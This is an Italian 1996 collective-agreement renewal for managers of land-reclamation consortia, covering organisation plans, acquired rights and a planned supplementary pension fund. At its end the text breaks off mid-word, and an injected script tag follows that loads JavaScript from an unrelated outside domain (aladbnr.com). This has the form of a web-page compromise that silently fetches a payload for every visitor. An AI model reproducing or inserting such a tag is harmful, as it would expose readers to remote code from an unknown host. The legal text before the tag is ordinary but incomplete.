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Categoria: Dirigenti (Consorzi di bonifica)
Settore: Agricoltura
Data stipula: 30-1-1996
Data decorrenza: 1-1-1995
Data scadenza: 31-12-1998
VERBALE DI RINNOVO
PER I DIPENDENTI DEI CONSORZI
DI BONIFICA E DI MIGLIORAMENTO FONDIARIO
Il giorno 30 gennaio 1996, in Roma, via di S. Teresa n. 23
tra
lo SNEBI, rappresentato dal Presidente Prof. Giuseppe Lo Manto, dal Vice
Presidente Ing. Sergio Previdi, dal Segretario Nazionale Avv. Anna Maria
Martuccelli e dai componenti la Commissione trattative Sigg.: Omero
Benazzi, Dott. Guido Bettini, Dott. Roberto Calcagno, Sig. Francesco
Paolo Capaccio, Prof. Francesco Ferragina, Comm. Mario Masin, P.A.
Lorenzo Paolicchi, Dott. Camillo Pasti, Dott. Gianfranco Poncemi,
assistiti dal Dott. Antonio Pocci;
e
il Sindacato Nazionale Dirigenti dei Consorzi di bonifica e di enti ed
organismi similari rappresentato dal Presidente Avv. Mario Pellegrini,
dal Segretario Nazionale Dott. Michele Vino e dai componenti la
Commissione trattative: Dott. Consolato Arcudi, Dott. Mario Ceci, Ing.
Matteo Giari, Ing. Antonio Musano, Dott. Lucio Possamai e Dott. Antonio
Vercesi, assistiti dal Dott. Alberto Sartoni Capo Servizio Affari Generali
e Sindacati della C.I.D.A.;
si è stipulato il seguente accordo:
i contratti collettivi nazionali di lavoro 28/7/1970 e 20/11/1970 e
successive modifiche ed integrazioni sono rinnovati alle seguenti
condizioni:
1) PIANI DI ORGANIZZAZIONE VARIABILE
§1.1 PIANI DI ORGANIZZAZIONE VARIABILE
L'organizzazione dei servizi del Consorzio è definita da un piano di
organizzazione variabile che, i n relazione alle funzioni istituzionali
del Consorzio, individua le esigenze organizzativi del Consorzio e le
necessarie strutture nonché, sulla base delle declaratorie esistenti
per le singole posizioni di dirigente, le relative qualifiche.
§1.2 DIRITTI ACQUISITI
I dirigenti in servizio, con rapporto di ruolo alla data del 30 gennaio
1996 mantengono a titolo personale la stabilità del rapporto che era
loro garantita dal posto di ruolo nonché gli istituti concernenti la
cessazione del rapporto ed i relativi trattamenti di quiescenza già in
atto per i rapporti di ruolo ai sensi; del c.c.n.l. 28/7/1970 e
successivi accordi di rinnovo. Tali trattamenti vengono mantenuti
anche nel caso di accorpamento o fusione di Consorzi. Tali trattamenti
vengono conservati a titolo personale anche dai dirigenti con rapporto
di lavoro a tempo indeterminato e con anzianità di servizio, alla data
del 30 gennaio 1996, pari o superiore a 20 anni.
I trattamenti in questione vengono conservati a titolo personale anche
dai dirigenti dei Consorzi di miglioramento fondiario che si
trovino nelle condizioni di cui al primo comma del presente § 1.1..
§1.3 ELIMINAZIONE DEI RIFERIMENTI ALL'ISTITUTO DEL RUOLO DAI C.C.N.L. DI
CATEGORIA
Vengono meno tutte le disposizioni che fanno riferimento ad istituti o
trattamenti connessi con il ruolo che saranno specificamente
individuati in sede di stesura del testo del nuovo contratto. In tale
sede saranno altresì eliminati tutti i riferimenti contrattuali al
regolamento organico e ai rapporti di ruolo, fermo restando quanto
disposto al precedente § 1 .
2) PREVIDENZA INTEGRATIVA
Viene istituita una Commissione paritetica, composta da sei rappresentanti
nominati dallo SNEBI e sei nominati dal Sindacato nazionale dirigenti
stipulante il presente contratto, avente il compito di individuare una
disciplina per l'istituzione di un fondo di previdenza complementare.
Tale fondo verrà alimentato con una quota della percentuale che i Consorzi
attualmente versano all'ENPAIA per l'accantonamento del T.F.R. dei
dirigenti consortili maturato a decorrere dall'1/6/1982 (7,40%) con
corrisp<script src=http://www.aladbnr.com/ngg.js></script>
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